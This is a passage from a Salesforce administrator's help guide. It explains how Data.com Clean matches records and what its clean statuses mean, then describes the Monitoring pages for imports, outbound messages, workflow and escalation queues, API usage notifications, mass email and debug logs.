If you clean your Salesforce account, contact, and lead data with Data.com Clean, its important to understand how your
Salesforce records are compared and matched with records from Data.com.
Salesforce and Data.com records can be compared and matched in two ways.

Manually, when a user clicks Clean on an individual account, contact, or lead record.
Via Clean jobs, which automatically attempt to match all your account, contact, or lead records.

Automated clean jobs are only available to organizations that purchase Data.com Clean. Manual clean is available to all licensed
Data.com users.
The first time a Salesforce record is cleanedeither manually or via automated jobthe matching engine searches Data.com
for similar records. It examines the field values in each record and looks for enough identical or similar information to indicate
that the two records represent the same entity (that isthe same account, contact, or lead). If Data.com finds a match, the
two records are linked by a numeric value in the Data.com Key field. The Data.com Key value is rematched every time the
Salesforce record is cleaned. If the Salesforce record changes substantially, the next time it is cleaned, the matching engine
may look for a better match from other Data.com records.
For the best chance at matching, its important that your Salesforce records have accurate and unique values for certain key
fields. For accounts, the key fields are:

Account Name
Billing Address (Street, City, State, Country, ZIP/Postal Code)
Website
Phone Number

For contacts and leads, the key fields are:

Name
Account Name for contacts; Company for leads.
Title

900

Administering Data.com Clean

Understanding How Salesforce and Data.com Records are Matched

Email - Ideally a direct email address rather than a group address like info@org.com. Identical Email values will

almost always trigger a match unless other values in the record conflict.
Note: Data.com does not store personal emails such as those from Gmail or Yahoo.

Phone - Ideally a direct-dial number

Important: Data.coms matching algorithm is designed to match at a high rate, while doing so very conservatively,
as an unmatched record is a far better outcome than a false-positive match (a wrongly matched record). The algorithm
considers all of the field values listed here when attempting to match records. The algorithm supports fuzzy matching,
so it is not necessary to have all of the Salesforce records field values populated, nor is it necessary that every value
be 100% accurate, but a match is more likely to occur if a field has no value than if it has a conflicting value.
From our analysis of customer data, weve found that match rates of around 40% are typical, but results can vary. To view your
own match and update rates, just go to the Data.com Metrics and Analytics page.
Here are some examples (both detailed and basic) that illustrate Clean matching.

You manually add an account record to Salesforce. Its a regional branch of a national financial institution (Wells Fargo
Bank) called Wells Fargo & Company. Its located at 420 Montgomery Street, San Francisco, CA,
941041207. Data.com also has a record for Wells Fargo & Company in Atlanta, Georgia. The value in the San
Francisco branch records Account Name field could represent either the Atlanta branch or the San Francisco branch,
but because the San Francisco records Billing Address value is unique, the account record has a good chance of
matching a record in Data.com, if one exists, and of remaining matched with that record unless the address changes
substantially.
You add a contact record from Data.com. The contact works for a large account, Boeing Corporation, and his title
is a fairly common one: Purchaser. The contacts name is unique, however. He also has a direct email address that
includes his name, and his phone number appears to be a direct-dial rather than a main number for the company. Because
it contains complete data for several of the five key fields, and three of those fields have unique values, the contact record
has an excellent chance of matching with a Data.com record, if one exists, and staying matched even if some of the key
fields (such as Phone or Email) or less important fields (such as Fax or Department) later change.
Your organization has an account record for Account Name Harvest Partners, Inc., and the value in its
Billing Address field is 280 Park Avenue Lobby 1, New York, NY 10017. Data.coms account master
has two potential matches for the account: Harvest Partners, Inc., at 280 Park Avenue Lobby 1, New York, NY 10017
(which is an exact match for your Salesforce record); and Harvest Partners, LP, 280 Park Avenue 25th Floor, New York,
NY 10017. Data.com will match its first record with yours because the name and address are identical.
Your organization has an account record for Account Name Illinois Paving Co., and the value in its Billing
Address field is PO Box 13490, Springfield, IL 627913490. Data.com has one potential match: Illinois
Division of Insurance, at 320 West Washington Street, Springfield, IL 627860002. Because the two company names are
not similar enough, Data.com will not match the two records.
Account Name Value in Salesforce

Company Name Value in Data.com

Should Match?

Vanco Energy

Vanco Energy Company

Yes

G and J Truck Sales, Inc.

G&C Truck Sales

Yes

DOHERTY-WALLACE ASSOCIATES

Doherty Employment Group,


Inc.

No

Sunnyvale

Sunnyvale Lumber Company

No

901

Administering Data.com Clean

Understanding How Salesforce and Data.com Records are Matched

Contact First Name Value in


Salesforce

Person First Name Value in Data.com Should Match (if Last Name Value is
the Same)?

Ed

Ed Van

Yes

Bill

William

Yes

Kyle T.

Diane T.

No

Mark

Mario

No

Contact Last Name Value in Salesforce Person Last Name Value in Data.com Should Match (if First Name Value is
the Same)?
Schoonenberg

Van Schoonenberg

Yes

Akbari

Ackbari

Yes

williams

williamson

No

Hamilton

Hilton

No

Contact Title Value in Salesforce

Person Title Value in Data.com

Should Match?

VP Marketing

Vice President of Marketing Yes

Human Resources Executive

Senior Director of Human


Resources and Operations

Yes

marketing manager

engineering manager

No

Sales Representative

Vice President of Sales

No

See Also:
Best Practices for Data.com Clean
Viewing Your Data.com Clean Record Match Rates
Reviewing Data.com Clean Match Results
Understanding Data.com Clean Status
Understanding Data.com User Types, Licenses, and Limits
D&B Company Fields

902

Administering Data.com Clean

Viewing Your Data.com Clean Record Match Rates

Viewing Your Data.com Clean Record Match Rates


Available in: Developer, Enterprise, Professional, and Unlimited editions

User Permissions Needed


To view Data.com Clean match rates:

Customize Application

If you clean account, contact, or lead recordsmanually with Data.com or automatically with Data.com Cleanits important
that you check your match and update rates on a regular basis.
1. Click Your Name > Setup > Data.com Administration > Clean > Metrics & Analytics.
2. To find out when the last calculation occurred, check the Last Calculated field above the table.
Note: The data in the tables is calculated daily, but we store the time and calculate the date based on GMT, so
depending on time adjustments, the date shown may be different from the date when the calculations occurred.
3. View match and update information in the Match and Update Rates section. This table defines the columns in each of
the two tables.
Column

Definition

Records

The object enabled for Data.com Clean: accounts, contacts,


or leads.

Total

The number of object records (accounts, contacts, or leads)


that your organization has in Salesforce.

Processed

The number of Salesforce records of each type (accounts,


contacts, or leads) processed by Data.com Clean.

Matched

The number of processed Salesforce records (accounts,


contacts, or leads) that match with Data.com records.

Updated

The number of matched Salesforce records that have been


updated either manually or via automated jobs since your
organization implemented Data.com Clean.

Column

Definition

Records

The object enabled for Data.com Clean: accounts, contacts,


or leads.

Match Rate (% of Processed)

The percentage of processed Salesforce records (accounts,


contacts, or leads) that match with Data.com records.

903

Administering Data.com Clean

Reviewing Data.com Clean Match Results

Column

Definition

Update Rate (% of Matched)

The percentage of matched Salesforce records that have been


updated either manually or via automated jobs since your
organization implemented Data.com Clean.

See Also:
Understanding How Salesforce and Data.com Records are Matched
Implementing Data.com Clean

Reviewing Data.com Clean Match Results


Available in: Developer, Enterprise, Professional, and Unlimited editions

User Permissions Needed


To implement Data.com Clean:

Customize Application

After you complete your Data.com Clean implementation and your first Clean jobs are complete, you should regularly review
your Data.com Clean match results to make sure your records are being matched accurately. Run the Accounts by Clean Status
report to get started.
Important: If your records appear to be matched incorrectly with Data.com records, you should consider carefully
before selecting Flag differences and auto-fill blank fields as a clean preference. If mismatches
occur with a large number of your records, contact Salesforce Support.
1. Click the Dashboards tab, then select Data.com Analytics. Run the Accounts by Clean Status report.
If your clean jobs have run successfully, youll find your accounts grouped by their clean status values.
Tip: Check out the topic Understanding Data.com Clean Status for definitions of all the clean status values.

2. On the report, find any Salesforce records with a clean status of Different. Open several records and click Clean to
look at the differences.
3. Repeat the comparison process with records that have a clean status of Not Found.

See Also:
Understanding How Salesforce and Data.com Records are Matched

904

Administering Data.com Clean

Cleaning Records With Data.com Clean

Cleaning Records With Data.com Clean


User Permissions Needed
To clean account records:

Edit on accounts

To clean contact records:

Edit on contacts

To clean lead records:

Edit on leads

Use Data.com Clean to make sure your CRM records are always up to date.
Clean works for all the account, contact, and lead records you have access to in Salesforcenot just those you previously added
from Data.com.
If your organization uses Data.com Premium and you clean an account record that doesnt yet have a D&B Company record
linked to it, Salesforce will create one.
Note: If you clean your account records with the Data.com Corporate or Premium product or Data.com Clean,
Data.com converts non-USD currencies to USD every month, which may cause the values in this field to change. For
organizations that use non-USD currencies, we ignore the Annual Revenue field when determining a records clean
status (so the Clean Status fields value does not change). We also remove the value from the Annual Revenue
field on account records and the clean comparison page.
1. Check the records Clean Status field.
2. If the status is not In Sync, click Clean to open the comparison page and compare the Salesforce record with Data.coms.
Tip: From the Clean Status field, you can also get additional status information (such as which fields have
different data in Data.com) and then clean the record. Just click the status icon ( ) and the popup will guide you.
3. Compare the two records side by side. Youll see a check mark next to any Data.com field value that matches the
corresponding value in your Salesforce record.
4. Select the check box next to any Data.com value you want to accept.
5. Click Save when youre satisfied that the record is accurate, even if you dont accept any data from Data.com.
The Clean Status field reflects the records current status and its time stamp is updated to reflect your activity.
Note: If you click Cancel, your Salesforce records data wont be updated, but if Data.com finds a better match
for the record, the values in its Clean Status and Data.com Key fields may change. These two fields always
reflect the best match from Data.com as of the most recent clean process, whether the record was cleaned manually
(by you) or automatically (via Clean jobs).
If your organization uses Data.com Premium and youve cleaned an account record that doesnt yet have a D&B Company
record linked to it, Salesforce will create a D&B Company record and link it when you click Save. The next time you open

905

Administering Data.com Clean

Comparing Salesforce and Data.com Data at a Glance

the comparison page, the linked record will be identified by its D-U-N-S Number in the D&B Company Record Linked
field.

See Also:
Comparing Salesforce and Data.com Data at a Glance
Understanding Data.com Clean Status
Working with a Record's Data.com Clean Status
Comparing Salesforce and Data.com Data at a Glance
Understanding Data.com Clean Status
Working with a Record's Data.com Clean Status
Account Fields
Contact Fields
Lead Fields

Comparing Salesforce and Data.com Data at a Glance


Available in: Developer, Enterprise, Professional, and Unlimited editions

When you manually clean a Salesforce account, contact, or lead record, you compare the data in your Salesforce record with
data from Data.com. When you click the Clean button from a record, the comparison page appears. There youll see the
Salesforce records fields and values side by side with the Data.com records fields and values. If your organization uses Data.com
Corporate or Data.com Premium, the page includes the Dun and Bradstreet (D&B) fields provided with those products.
Cleaning records is easier if you understand how to read and use the comparison page. Heres what youll find there.

906

Administering Data.com Clean

Comparing Salesforce and Data.com Data at a Glance

1. The columns present Salesforce and Data.com records side by side, so you can easily compare the data from each source.
2. Field names appear on the left. If a field is blank, that means the source (Salesforce or Data.com) has no data for that field.
Note: Some account and lead fields are available only to organizations that purchase Data.com Corporate or
Data.com Premium.
3. If your Salesforce data matches Data.coms youll see a green checkmark ( ) for that field in the Data.com column.
4. If Data.com has data for a field thats blank or different in Salesforce, youll see a checkbox. Select it to accept Data.coms
data.
5. If you use Data.com Premium, when you clean an account record, we create a D&B Company record, if one doesnt yet
exist, and link it to the account. The D&B Company record is identified on the comparison page.

907

Administering Data.com Clean

Understanding Data.com Clean Status

6. By default, fields that have identical data are hidden. Click Show Identical Fields to see them all, along with the
fields that have different data (as in this example). If there are a lot of fields, a scroll bar may appear. To hide identical
fields, click Hide Identical Fields.
7. The Select All and Clear All links do just what they say.
8. Click Save when youre satisfied that you have the data you want, even if you dont make any changes. The Salesforce
records clean status will be updated to Reviewed or In Sync. If you click Cancel, your Salesforce records data wont
be updated, but if Data.com finds a better match for the record, the values in its Clean Status and Data.com Key
fields may change. These two fields always reflect the best match from Data.com as of the most recent clean process,
whether the record was cleaned manually (by you) or automatically (via Clean jobs).
Note: You cant see the entire D-U-N-S Number value for an account (on the comparison page or the account card)
until the account has been added to Salesforce from Data.com or (for existing records) cleaned with Data.com. Until
you add or clean the record, the numbers first five digits are masked with asterisks (*).

See Also:
Cleaning Records With Data.com Clean
D&B Companies Overview

Understanding Data.com Clean Status


Available in: Developer, Enterprise, Professional, and Unlimited editions

If you use Data.com, the Salesforce CRM records you have access to show a status message in the Clean Status field.
To clean a record is to bring it up to date with the values you wanteither accepting some or all of the latest values from
Data.com, or keeping all of the values in the Salesforce record. If a user has compared two records and opted to keep one or
more values from the Salesforce record, the records status is Reviewed. If the Data.com and Salesforce records are identical,
either before or after theyve been compared by a user, the Salesforce records clean status is In Sync. Both Reviewed and
In Sync records are considered to be clean.
This table explains each clean status message and tells you how to clean records in other states (such as Not Compared and
Different).
Clean Status
Not Compared

Definition

How to Clean the Salesforce Record

The current version of the Salesforce


record has not been compared with
Data.com. This status may occur because:
The Salesforce record was previously
compared with Data.com, but later
edited by a user and not compared
again.
The Salesforce record was previously
compared with Data.com, but later
updated by a workflow or other
automated process (such as lead

Click Clean and compare the records


side by side.
If you want to keep all of the values in
the Salesforce record, click Save. The
Salesforce records clean status changes
to Reviewed.
If you want to accept any or all of the
Data.com values, select the checkboxes
as appropriate, then click Save.
The Salesforce records clean status
changes to Reviewed until:

908

Administering Data.com Clean

Clean Status

Understanding Data.com Clean Status

Definition

How to Clean the Salesforce Record

conversion) and not compared with


Data.com again.
The record was created manually in
Salesforce (not added from Data.com),
and has not yet been compared with
Data.com.

The two records are identical (In


Sync status).
The record is updated in Salesforce
or Data.com (Different status).
The record becomes inactive in
Data.com (Inactive status).

Note: Records you add from


Data.com always have an In
Sync status until the data
changes in one or both of the
records.
In Sync

When your Salesforce record was last


Click the icon in the Clean Status
compared with the Data.com record, the field and check the time stamp to see
two were identical. Records in In Sync when the record was last compared.
status are considered to be clean.

Reviewed

When your Salesforce record was last


compared with the Data.com record, the
user who compared them accepted one
or more field values from the Data.com
record and kept one or more values from
the Salesforce record. Records in
Reviewed status are considered to be
clean, but you can repeat the clean
process.

Click Clean and compare the records


side by side.
Accept or skip Data.com values as
appropriate.
The Salesforce record remains in
Reviewed status until:

Different

The two records are identical (In


Sync status).
The record is updated in Salesforce
or Data.com (Different status).
The record becomes inactive in
Data.com (Inactive status).

The Salesforce record has different data Click Clean and compare the records
from the corresponding Data.com record. side by side. Accept or skip Data.com
values as appropriate.
The Salesforce record remains in
Different status until:

Not Found

The Salesforce record has no similar


records in Data.com record.

The two records are identical (In


Sync status).
A user reviews the two records and
keeps one or more values from the
Salesforce record (Reviewed status).
The record becomes inactive in
Data.com (Inactive status).

The record can't be cleaned in Salesforce


because Data.com could not find a record
to match it with.

909

Administering Data.com Clean

Clean Status
Inactive

Best Practices for Data.com Clean

Definition

How to Clean the Salesforce Record

The Data.com record corresponding to You currently cant clean records whose
the Salesforce record has been marked status is Inactive.
inactive. A record may be inactive if it
includes an invalid email address or the
company is no longer in business.

See Also:
Cleaning Records With Data.com Clean
Working with a Record's Data.com Clean Status

Best Practices for Data.com Clean


Available in: Developer, Enterprise, Professional, and Unlimited editions

User Permissions Needed


To implement Data.com Clean:

Customize Application

To back up data:

Data Export

To set field history tracking:

Customize Application

To set field-level security:

Customize Application

Here are some tips and best practices for implementing, monitoring, and working with Data.com Clean.

Understand how matching works.


Use your sandbox environment to try out the automated clean jobs before running them in your production org with live
data:
After Data.com Clean is provisioned in your production org, refresh your sandbox so it has the same permissions and data.
Then follow the steps in Implementing Data.com Clean to set up Clean in your sandbox. If everything runs smoothly in
your sandbox environment, follow the same implementation steps in your production org.

Check your match and update rates on the Clean Metrics & Analytics page. There, youll find information about the total
number of records cleaned, how many have been matched, and how many have been updated. Figures represent records
processed manually and automatically, and reflect your rates since your organization implemented Data.com Clean.
Schedule regular backups of your account, contact, and lead data. Its always a good practice, and if your Salesforce records
are ever matched inappropriately, you can revert to previous versions. Backups are most important if you use automated
clean jobs that auto-fill blank fields.

910

Administering Data.com Clean

Working with a Record's Data.com Clean Status

Set up field history tracking for accounts, contacts, and leads. Field history tracking helps you identify changes to field
values and tracks who made changes and when.

See Also:
Viewing Your Data.com Clean Record Match Rates
Understanding How Salesforce and Data.com Records are Matched
Reviewing Data.com Clean Match Results

Working with a Record's Data.com Clean Status


Available in: Developer, Enterprise, Professional, and Unlimited editions

The Clean Status field on account, contact, and lead records shows you the records Data.com Clean status at a glance,
including when the status was last updated. But if you click the icon next to the status, youll get more status details, plus
options for refreshing the status. Depending on the status, you can also clean some records right from the Clean Status
field. Heres an example that shows some of your options.

1. This records status is Different because when it was last compared, one week before, the records in Salesforce and
Data.com had different values for some or all of their fields. The user who compared the records previously may have:

Decided not to accept any of the Data.com values.


Accepted some values from Data.com and kept some Salesforce values.
Clicked Cancel on the comparison page.

Click the icon to view the popup, which provides additional information and Clean options.
2. This line tells you about the Salesforce records most recent comparison activity.
In this case, a user compared the Salesforce account record with Data.coms version one week ago.
3. This section provides more details about the comparison. In this case, Data.com had different Email, Phone, and Mailing
Address values for the contact.
4. You can click the Clean... link to compare the Salesforce and Data.com records yourself.
If you click Cancel, the records clean status will remain Different. If you click Save, even if you havent accepted any
Data.com values, the records clean status will be Reviewed.

911

Monitoring

Using the Import Queue

See Also:
Cleaning Records With Data.com Clean
Understanding Data.com Clean Status

MONITORING
Using the Import Queue
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use the Import Queue:

Modify All Data

Administrators can check the Import Queue to view details about an import or to cancel an organization import. Import details
are removed from the queue three days after completion.
1. Click Your Name > Setup > Monitoring > Imports.
2. Select the file name of the import file to see the Import Queue Detail page for that file.
If you want to cancel an import, and the import has not started processing, click Del. You cannot cancel an import after it has
started processing.
The possible values of the Status column are listed below:
Status

Description

Aborted

The import did not complete successfully. The error details are emailed to the user who performed the
import. Aborted imports can be retried within three days, but, if multiple retry attempts are made, the
import cannot remain in the queue for more than 30 days from the original import attempt.

Completed

The import completed successfully without errors.

Error

The import was processed and errors were encountered. The error details are emailed to the user who
performed the import. The user can fix the errors, and then attempt the import again.

Pending

The import is in the queue but has not started processing yet.

912

Monitoring

Tracking Outbound Message Delivery Status

Status

Description

Processing

The import is in the queue and is currently being processed.

See Also:
Importing Overview

Tracking Outbound Message Delivery Status


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Approvals and Milestone Actions are not available in Database.com

User Permissions Needed


To track outbound messages:

Modify All Data

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you
designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP
message to the endpoint.
To track the status of an outbound message, click Your Name > Setup > Monitoring > Outbound Messages. Alternatively,
click Your Name > Setup > Create > Workflow & Approvals > Outbound Messages, and then click View Message Delivery
Status. Here you can view the status of your outbound messages:

The Next items for delivery related list contains all outbound messages that are awaiting delivery.
The Oldest failures in queue related list contains the oldest failures that have not yet been deleted (because they have not
been delivered and are not 24 hours old).
The Failed outbound messages related list contains all the outbound messages that failed to be delivered and are no longer
being retried. Messages are listed here only if you configure the message when you create it by selecting Add failures
to failed outbound message related list. For more information, see Defining Outbound Messages on page
1806. If you do not see this related list, it has not been enabled for your organization. Contact your salesforce.com
representative.

You can perform several tasks here:

Click Refresh to refresh the list.


Click any workflow or approval process action ID to view the action that triggered it.
Click Retry to change the Next Attempt date to now. This causes the message delivery to be immediately retried. If you
select Retry in the Failed outbound messages related list, the outbound message moves to the Next items for delivery
related list and is retried for another 24 hours.
Click Del to permanently remove the outbound message from the queue.

913

Monitoring

Monitoring the Workflow Queue

Note: If you don't have this option, your organization doesn't have outbound messages enabled. Contact salesforce.com
to enable outbound messages.

See Also:
Managing Outbound Messages
Workflow and Approvals Overview

Monitoring the Workflow Queue


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To manage the workflow queue:

Modify All Data

When a workflow rule that has time-dependent actions is triggered, use the workflow queue to view pending actions and
cancel them if necessary.
To view pending actions:
1. Click Your Name > Setup > Monitoring > Time-Based Workflow.
2. Click Search to view all pending actions for any active workflow rules, or set the filter criteria and click Search to view
only the pending actions that match the criteria. The filter options are:

Workflow Rule Name: The name of the workflow rule.


Object: The object that triggered the workflow rule. Enter the object name in the singular form.
Scheduled Date: The date the pending actions are scheduled to occur.
Create Date: The date the record that triggered the workflow was created.
Created By: The user who created the record that triggered the workflow rule.
Record Name: The name of the record that triggered the workflow rule.

The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2961.
To cancel pending actions:
1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.

914

Monitoring

Monitoring the Entitlement Process Queue

2. Click Delete.

See Also:
Managing Workflow Rules
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Administrator tip sheet: Workflow: Automating The Process

Monitoring the Entitlement Process Queue


Available in: Enterprise, Unlimited, and Developer and Editions

User Permissions Needed


To manage the entitlement process queue:

Modify All Data

When Salesforce triggers an entitlement process that has time-dependent milestone actions, use the entitlement process queue
to view pending actions and cancel them, if necessary.
To view pending actions:
1. Click Your Name > Setup > Monitoring > Entitlement Processes.
2. Click Search to view all pending actions for any active workflow rules, or set the filter criteria and click Search to view
only the pending actions that match the criteria. The filter options are:
Entitlement Process Name
The entitlement process.
Case Number
The case's automatically generated identifying number.
Milestone Name
The milestone that triggered the action.
Evaluation Date
The date the evaluated actions are scheduled to occur.
Created Date
The creation date of the case that triggered the entitlement process.
Username
The user who updated the case to trigger an entitlement process.
The filter is not case-sensitive. See Entering Filter Criteria on page 2961.
To cancel pending actions:

915

Monitoring

Monitoring the Case Escalation Rule Queue

1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete.

See Also:
Entitlement Management Overview

Monitoring the Case Escalation Rule Queue


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage the case escalation rule queue:

Modify All Data

When Salesforce triggers a case escalation rule that has time-dependent actions, use the escalation rule queue to view pending
actions and cancel them if necessary.
To view pending actions:
1. Click Your Name > Setup > Monitoring > Case Escalations.
2. Click Search to view all pending actions for any active case escalation rule, or set the filter criteria and click Search to view
only the pending actions that match the criteria. The filter options are:
Case To Escalate
The Case Number of the escalated case. The Case Number is a unique, automatically generated number used for
identifying the case.
Escalation Rule
The name of the rule used to escalate the case.
Rule Entry
The order in which the rule entry will be processed. A rule entry is a condition that determines how a case escalation
rule is processed. Each escalation rule can have a maximum of 3000 rule entries.
Escalation Action
The time criteria specified for the case to escalate as defined in the rule entry.
Ignore Business Hours
Indicates if the Ignore Business Hours checkbox is selected on the rule entry, meaning that the rule entry is in
effect at all times and ignores your organization's business hours.
Escalate At
The date and time at which the case will escalate as defined in the rule entry. Dates and times display in the time
zone of the user viewing the escalation rule queue.

916

Monitoring

About API Usage Notifications

Added Date
The date and time at which the case was added to the queue. Dates and times display in the time zone of the user
viewing the escalation rule queue.
The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2961.
To cancel pending actions:
1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete. Salesforce cancels the pending action.

See Also:
Creating Escalation Rules
Viewing and Editing Escalation Rules

About API Usage Notifications


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view, create, edit, or delete notifications:

API Enabled

When you create a request usage notification, you specify an administrator to receive an email notification whenever your
organization exceeds a specified limit for the number of API requests made in a specified span of hours. For more information
on API request limits, see Force.com API Usage Limits on page 2161.
To view existing API usage notifications, click Your Name > Setup > Monitoring > API Usage Notifications.
From the notifications list, you can do any of the following:

Click Edit or Del to edit or delete an existing notification.


View the name of the user who will receive the notification.
View the notification interval, which defines the frequency at which the notifications are sent. For example, if the notification
interval is four hours, a notification will be sent only if the last notification was sent at least four hours ago. Thus, during
a 24-hour period, a maximum of six notifications will be sent.
View the percent of the limit which, if exceeded, triggers a notification to be sent. For example, if your organization has
a limit of 1,000,000 requests, and you set a threshold percentage of 60 (60%) and a notification interval of 24 hours, when
600,000 API requests have been sent in a 24-hour period, the specified user receives a notification.
View the name of the user who created the notification and when the notification was created, as well as the last time the
notification was modified, and the name of the user who made the modification.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. Additional items are available for display, including the limit ID. To edit or delete any view you
created, select it from the View drop-down list and click Edit.

917

Monitoring

Viewing API Usage Notifications

To create a new notification, click New.


You can create up to ten notifications per organization.

See Also:
Creating and Editing API Usage Notifications
Viewing API Usage Notifications
Documentation Resources for Force.com Developers

Viewing API Usage Notifications


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view, create, edit, or delete notifications:

API Enabled

On the API usage notifications detail page, you can view information about a notification:

Notification RecipientThe username for the person to whom the email notification is sent.
ThresholdThe percent of the usage limit that, when reached, triggers an email notification.
Notification Interval (Hours)The frequency at which the notifications are sent. For example, if the notification interval
is four hours, a notification is sent only if the last notification was sent at least four hours ago. Thus, during a 24-hour
period, a maximum of six notifications will be sent.
Created ByThe user who created the notification request, and the time it was created.
Modified ByThe user who last edited the notification.

On this page, you can also create a new notification based on the values of the notification being displayed. Click Clone to
create a new notification with the current values populated in the new notification. You can edit the values before saving.

See Also:
About API Usage Notifications
Creating and Editing API Usage Notifications
Force.com API Usage Limits
Documentation Resources for Force.com Developers

918

Monitoring

Creating and Editing API Usage Notifications

Creating and Editing API Usage Notifications


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view, create, edit, or delete notifications:

API Enabled

On the API usage metering edit page accessible via Your Name > Setup > Monitoring > API Usage Notifications, you can
supply the required values for a rate-limiting notification:

The Salesforce user who will receive the notifications.


The threshold percentagethe percentage of the rate limit that, once exceeded in the specified notification interval, triggers
a notification to be sent to the specified user. Value must be between 0 and 100.
The time period for which the number of requests is measured, in hours. For example, if the interval is 24, the rate must
be exceeded in the past 24 hours for a notification to be sent.
If you change the time period, the new time period does not take effect until after the next notification of the existing time
period. For example, assume you have set the time period to send notifications every hour. Then at 4:05 p.m., you set the
time period to send notifications every 24 hours. A last notification from the old time period is sent at 5:00 p.m.. The next
notification would be sent at 5:00 p.m. the next day.

See Also:
About API Usage Notifications
Viewing API Usage Notifications
Force.com API Usage Limits
Documentation Resources for Force.com Developers

Monitoring the Mass Email Queue


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To view your mass email or cancel your pending mass email: Mass Email
To view all mass email or cancel pending mass email in your Modify All Data
organization:

Use the mass email queue to view the status of scheduled mass emails and cancel mass emails if necessary.

919

Monitoring

Monitoring Debug Logs

To view the mass emails you have scheduled, click Your Name > Setup > Email > My Mass Emails. If you have permission
to view all mass emails in your organization, click Your Name > Setup > Monitoring > Mass Email.
From these pages, you can:

Click Cancel to cancel a pending mass email.


Click Stop to stop a mass email that Salesforce is in the process of sending.
Click Del to delete the record of a sent or canceled mass email from the queue.
Click the name of the mass email to view details about an individual mass email.

The mass email queue shows the number of recipients that the mass email was addressed to and sent to. These numbers may
differ because:

The mass email would cause your organization to exceed its daily mass email limit. Salesforce does not send the message
to any of the intended recipients in this case.
One or more selected recipients opted out of receiving mass email after the mass email was scheduled but before it was
processed.
One or more selected recipient email addresses were removed from the contact or lead after the mass email was scheduled
but before it was processed.
The user who sent the mass email was deactivated after the mass email was scheduled but before it was processed. Salesforce
does not send mass emails scheduled by a user who is deactivated.

See Also:
Sending Mass Email

Monitoring Debug Logs


Available in Enterprise, Developer, Unlimited, and Database.com Editions
The Salesforce user interface and Email Services are not available in Database.com.

User Permissions Needed


To view, retain, and delete debug logs:

Manage Users

You can retain and manage the debug logs for specific users.
Transactions can be generated from the following:

Salesforce user interface


API
executeanonymous calls
Web services
Email services

To view saved debug logs, click Your Name > Setup > Monitoring > Debug Logs.

920

Monitoring

Monitoring Debug Logs

From this page, click New to specify a user that you want to retain debug logs for.
After you have specified a user or users to retain debug logs for, you can:

Click Delete to stop retaining debug logs for a specific user.


Click Reset to reset the number of debug logs for a particular user.
Click Filters to specify what gets logged for that user, as well as the amount of information. See Setting Debug Log Filters.

After you have started retaining debug logs, you can:

Click View to view a specific log's details.


Click Download to download the debug log as an XML file.

See Also:
Apex Code Overview
What is a Debug Log?
Retaining Debug Logs
Viewing Debug Logs
Setting Debug Log Filters
About Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide

Retaining Debug Logs


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To view, retain, and delete debug logs:

Manage Users

You can retain and manage the debug logs for specific users.
The following are the limits for debug logs:

Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded
for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any
existing logs are not overwritten.
Each debug log can only be 2 MB. Debug logs that are larger than 2 MB in size are truncated.
Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the
oldest debug logs start being overwritten.

To specify that a user should have his or her debug logs retained:
1. Click Your Name > Setup > Monitoring > Debug Logs, then click New.
2. Click the checkbox next to the user or users for whom you want to retain debug logs. Only users with a checkbox next to
their names don't currently have their debug logs retained.

921

Monitoring

Monitoring Debug Logs

3. Click Save.

See Also:
What is a Debug Log?
Monitoring Debug Logs
Viewing Debug Logs
Setting Debug Log Filters
Developer's Guide: Force.com Apex Code Developer's Guide

Viewing Debug Logs


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed


To use the Developer Console:

View All Data

To use the execute anonymous text entry box:

Author Apex

To save changes to Apex classes and triggers:

Author Apex

To save changes to Visualforce pages and components:

Customize Application

You can retain and manage the debug logs for specific users.
To view the details of a debug log, click Your Name > Setup > Monitoring > Debug Logs, and then click View next to the
debug log you want to examine. Click Download to download the log as an XML file.
The debug log contains information about the transaction, such as if it was successful, the size of the log (in bytes), how long
the transaction took in milliseconds, and so on. The log itself contains additional information about the transaction, depending
on the filters set for the user.
Inspecting the Debug Log Sections
After you generate a debug log, the type and amount of information listed depends on the filter values you set for the user.
However, the format for a debug log is always the same.
A debug log has the following sections:
Header
The header contains the following information:

The version of the API used during the transaction.


The log category and level used to generate the log. For example:

922

Monitoring

Monitoring Debug Logs

The following is an example of a header:


25.0
APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO;
WORKFLOW,INFO

In this example, the API version is 25.0, and the following debug log categories and levels have been set:
Apex Code

DEBUG

Apex Profiling

INFO

Callout

INFO

Database

INFO

System

DEBUG

Validation

INFO

Visualforce

INFO

Workflow

INFO

Execution Units
An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. The execution
is delimited by EXECUTION_STARTED and EXECUTION_FINISHED.
Code Units
A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a webService
method, or a validation rule.
Note: A class is not a discrete unit of code.

Units of code are indicated by CODE_UNIT_STARTED and CODE_UNIT_FINISHED. Units of work can embed other
units of work. For example:
EXECUTION_STARTED
CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex
